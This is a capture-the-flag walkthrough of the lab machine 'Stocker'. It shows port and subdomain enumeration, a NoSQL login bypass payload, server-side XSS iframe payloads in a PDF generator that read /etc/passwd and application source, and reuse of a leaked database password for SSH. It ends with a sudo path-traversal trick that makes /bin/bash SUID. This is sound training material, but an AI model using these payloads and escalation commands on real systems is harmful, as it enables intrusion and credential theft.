Enumeration
Rustscan
Copy mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.131.220 -- -sV -sC -oA ./rust/{{ip}} Ports
Copy Open 10.129.131.220:22
Open 10.129.131.220:80 Services
Copy PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Subdomains
Copy ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -o subs.json -fs 178 -mc all
Copy dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 38ms] Dirsearch
stocker.htb
Copy dirsearch -u http://stocker.htb/
Copy [22:57:41] 301 - 178B - /js -> http://stocker.htb/js/
[22:58:00] 301 - 178B - /css -> http://stocker.htb/css/
[22:58:03] 200 - 1KB - /favicon.ico
[22:58:03] 301 - 178B - /fonts -> http://stocker.htb/fonts/
[22:58:05] 301 - 178B - /img -> http://stocker.htb/img/
[22:58:05] 200 - 15KB - /index.html
[22:58:06] 403 - 564B - /js/ dev.stocker.htb
Copy dirsearch -u http://dev.stocker.htb/
Copy [23:05:33] 200 - 3KB - /login
[23:05:33] 200 - 3KB - /login/
[23:05:33] 302 - 28B - /logout -> /login
[23:05:33] 302 - 28B - /logout/ -> /login
[23:05:47] 301 - 179B - /static -> /static/ Website
Visiting http://stocker.htb we can see that it is just a plain simple html page without anything that indicates an attack vector
When checking http://dev.stocker.htb](http://devstocker.htb) we are getting redirected to a login page
Exploitation
NoSQL Auth Bypass
After trying different things for a while I discovered that the login is vulnerable to NoSQL Authentication Bypass .
Burp: POST-Request
Copy POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Q
Upgrade-Insecure-Requests: 1
token: ddac62a28254561001277727cb397baf
{"username": {"$ne": null}, "password": {"$ne": null} } Server Side XSS (PDF)
While checking the page-source of http://dev.stocker.htb/stock we see a function that looks interesting.
Copy submitPurchase.addEventListener("click", () => {
fetch("/api/order", {
method: "POST",
body: JSON.stringify({ basket }),
headers: {
"Content-Type": "application/json",
},
}) Using JSON.stringify can cause XSS vulnerabilites . Maybe we should check that out.
We'll abuse one of those snippets from Hacktricks - Server Side XSS (Dynamic PDF)
Read /etc/passwd
Burp: Request
Copy POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 220
Connection: close
Cookie: connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Q
token: ddac62a28254561001277727cb397baf
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///etc/passwd height=800 width=800></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]} Burp: Result
Copy HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Jan 2023 18:47:07 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-uRAgVxWOPH+zozYbT1COcNIa11A"
{"success":true,"orderId":"63c59bab9a4ca468a539a9f4"} We can use the orderID to open http://dev.stocker.htb/api/po/63c59bab9a4ca468a539a9f4 which will render the PDF and includes our /etc/passwd content.
Finding
Copy mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash Read /var/www/dev/index.js
Burp: Request
Copy POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 230
Connection: close
Cookie: connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Q
token: ddac62a28254561001277727cb397baf
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///var/www/dev/index.js height=800 width=800></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]} Burp: Response
Copy HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Jan 2023 19:03:21 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-NMz42TN4UGeyAe4eb9g9f6gSMfk"
{"success":true,"orderId":"63c59f799a4ca468a539aa26"} We can use the orderID to open http://dev.stocker.htb/api/po/63c59f799a4ca468a539aa26 which will render the PDF and includes the source code of /var/www/dev/index.js.
Finding
Copy // TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:CENSORED@localhost/dev?authSource=admin&w=1"; SSH Access
Using the user we identified by reading /etc/passwd and the password found in /var/www/dev/index.js we are able to ssh into the machine.
Escalation
Enumeration
Seems like we are allowed to run any script ending with .js located in /usr/local/scripts/ as root.
Copy Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js Become Root
We'll abuse the sudo permissions as there's no check for directory traverseral to change the permissions of /bin/bash .
perm.js
Copy require('child_process').exec('bash -c "chmod u+s /bin/bash"') Change Perms
Copy sudo /usr/bin/node /usr/local/scripts/../../../tmp/perm.js
Copy angoose@stocker:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash Escalate
Copy angoose@stocker:/tmp$ /usr/bin/bash -p
bash-5.0# whoami
root 